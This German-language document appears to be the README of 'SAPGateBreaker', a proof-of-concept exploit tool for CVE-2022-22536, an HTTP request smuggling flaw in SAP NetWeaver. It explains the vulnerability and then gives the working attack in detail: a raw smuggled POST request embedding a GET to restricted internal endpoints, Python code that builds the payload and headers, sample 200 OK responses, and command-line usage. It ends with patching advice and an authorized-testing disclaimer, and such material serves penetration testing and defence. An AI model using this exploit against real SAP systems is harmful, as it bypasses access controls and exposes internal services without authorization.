
SAPGateBreaker ist ein PoC-Exploit für CVE-2022-22536, eine kritische HTTP-Request-Smuggling-Schwachstelle in SAP NetWeaver. Er demonstriert, wie ACLs umgangen werden können, indem das Request-Parsing zwischen ICM und Backend-Diensten mithilfe präparierter, auf Content-Length basierender Payloads desynchronisiert wird.
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 und SAP Web Dispatcher sind anfällig für Request-Smuggling und Request-Verkettung. Ein nicht authentifizierter Angreifer kann einer Anfrage eines Opfers beliebige Daten voranstellen. Auf diese Weise kann der Angreifer Funktionen unter der Identität des Opfers ausführen oder zwischengeschaltete Web-Caches vergiften. Ein erfolgreicher Angriff könnte die Vertraulichkeit, Integrität und Verfügbarkeit des Systems vollständig gefährden.
SAPGateBreaker ist ein PoC-Exploit für CVE-2022-22536, eine kritische HTTP-Request-Smuggling-Schwachstelle in SAP NetWeaver. Es demonstriert, wie ACLs umgangen werden können, indem die Anfrageverarbeitung zwischen ICM und Backend-Diensten mithilfe manipulierter Content-Length-Nutzlasten desynchronisiert wird.

Die als CVE-2022-22536 identifizierte Schwachstelle stellt einen kritischen Fehler im SAP NetWeaver Application Server dar, der Installationen für HTTP-Request-Smuggling-Angriffe öffnet. Diese Schwachstelle mit einem CVSS-Score von 9,8 betrifft sowohl Java- als auch ABAP-Stacks und erlaubt es Angreifern, Zugriffskontrollmechanismen zu umgehen und mit internen Anwendungen zu interagieren, als wären sie im internen Netzwerk.
HTTP-Request-Smuggling verstehen
HTTP-Request-Smuggling (HRS) ist eine fortgeschrittene Technik, die Diskrepanzen in der Interpretation der Grenzen zwischen HTTP-Anfragen durch verschiedene Komponenten einer Web-Infrastruktur (typischerweise Proxys, Load Balancer und Backend-Server) ausnutzt. Durch Manipulation von Headern wie und kann ein Angreifer eine bösartige Anfrage „einschmuggeln“, die von dem, was der Backend-Server erwartet, desynchronisiert ist.
Content-LengthTransfer-EncodingIm Wesentlichen kann ein Angreifer, wenn ein Frontend- und ein Backend-Server sich darüber uneinig sind, wo eine Anfrage endet und die nächste beginnt, eine zweite, versteckte Anfrage einschleusen, die mit erhöhter Vertrauenswürdigkeit verarbeitet wird. Dies führt häufig zu Sicherheitsumgehungen wie WAF-Umgehung, Cache-Vergiftung oder ACL-Umgehung.
Die Natur von CVE-2022-22536
SAPs ICM (Internet Communication Manager) analysiert manipulierte HTTP-Anfragen nicht ordnungsgemäß, sodass eine eingeschleuste Anfrage interne Dienste erreichen kann. Dies ist besonders in segmentierten Architekturen folgenreich, in denen der direkte Zugriff auf interne Dienste eingeschränkt ist. Die Ausnutzung dieser Schwachstelle ermöglicht es Angreifern, Anfragen zu stellen, die scheinbar aus dem vertrauenswürdigen internen Netzwerk stammen.
Die Schwachstelle tritt auf, wenn eine Nutzlast widersprüchliche Interpretationen des Endes einer HTTP-Anfrage ausnutzt. Dies beinhaltet üblicherweise das Einfügen eines Transfer-Encoding: chunked-Headers oder die Manipulation des Content-Length-Felds, um die Desynchronisation zu verursachen.
Fehlschläge erster Nutzlasten und Ablehnung der chunked-Kodierung
Während Tests führten Nutzlasten, die kanonische Chunked-Smuggling-Techniken verwendeten, zu 408 Request Timeout-Antworten vom SAP ICM. Dieses Verhalten deutete darauf hin, dass SAPs HTTP-Stack Transfer-Encoding: chunked nicht in der erwarteten Weise unterstützt, was eine traditionelle Chunked-basierte Desynchronisation verhindert.
Infolgedessen verlagerte sich die Exploit-Methodik auf die Verwendung von Content-Length-Headern zur Desynchronisation. Eine manipulierte Anfrage mit einer leeren Chunked-Nutzlast, gefolgt von einer gültigen sekundären HTTP-Anfrage, umging erfolgreich die Anfragegrenzen. Diese alternative Strategie erwies sich als wirksam bei der Umgehung interner Zugriffskontrollen.
Endgültige Exploit-Strategie und Code-Implementierung
Der funktionierende Exploit sendet eine POST-Anfrage an einen öffentlichen Endpunkt (/sap/admin/public/default.html) mit einem Content-Length-Header, gefolgt von einer eingebetteten GET-Anfrage, die eine interne Ressource erreichen soll.
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
Dies führt zu einem erfolgreichen internen Zugriff:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
Die Implementierung durchläuft eine Liste interner SAP-URLs, die normalerweise eingeschränkt sind. Es wird ein Vergleich zwischen dem Statuscode angestellt, der bei direktem Zugriff empfangen wird, und dem, der bei Zugriff über die eingeschleuste Anfrage empfangen wird. Wenn der interne Zugriff 200 zurückgibt (während der direkte Zugriff 403 oder 404 zurückgibt), deutet dies darauf hin, dass die Schmuggeltechnik die internen Zugriffskontrollen erfolgreich umgangen hat.
Die Logik zum Erstellen der Nutzlast:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
Der Angriff wird mit einer manipulierten POST-Anfrage ausgeführt, die die eingeschleuste Nutzlast enthält:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
Beobachtete Ergebnisse
In mehreren Testfällen antworteten Endpunkte wie /sap/public/bc/icf/info oder /heapdump/, die normalerweise 403 Forbidden oder 404 Not Found zurückgaben, mit 200 OK, wenn über die eingeschleuste Anfrage darauf zugegriffen wurde. Dies demonstriert eine erfolgreiche Umgehung der SAP-Zugriffskontrollen.
Die Ausgabe des Tools umfasste sowohl gesendete Nutzlasten als auch Antwortheader, was eine präzise forensische Validierung ermöglichte:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
Normale Anfrage:


Exploit-Anfrage:


Fazit
CVE-2022-22536 verdeutlicht die anhaltende Bedrohung durch HTTP-Request-Smuggling in modernen Enterprise-Software-Stacks. Der vorgestellte Proof-of-Concept ist eine Demonstration der zugrunde liegenden Schwachstelle und dient als Werkzeug für Validierungs- und Abwehrtests.
Administratoren wird dringend empfohlen, SAP-Sicherheitsupdates anzuwenden und geeignete Reverse-Proxy-Schutzmaßnahmen zu implementieren, um die Weiterleitung fehlerhafter HTTP-Anfragen zu verhindern.
Weitere Details zu CVE-2022-22536 finden Sie unter: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
SAP-Sicherheitshinweis: https://launchpad.support.sap.com/#/notes/3123396
SAPGateBreaker-Exploit
SAPGateBreaker ist ein eigenständiges Python-Tool, das Tests auf CVE-2022-22536 automatisiert, eine kritische HTTP-Request-Smuggling-Schwachstelle im SAP NetWeaver Application Server.
Verwendung
python3 sapgatebreaker.py -u http://<target-host>:<port> [--verbose]
Argumente:
-u, --url: Ziel-URL (z.B. http://172.32.22.7:50000)-v, --verbose: Aktiviert detaillierte Header- und Body-Ausgabe für jede Anfrage und AntwortFunktionen:
poc.txtHaftungsausschluss
Dieses Tool ist ausschließlich für Schulungszwecke und autorisierte Penetrationstests bestimmt. Die unbefugte Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist strengstens untersagt und kann gegen geltende Gesetze verstoßen.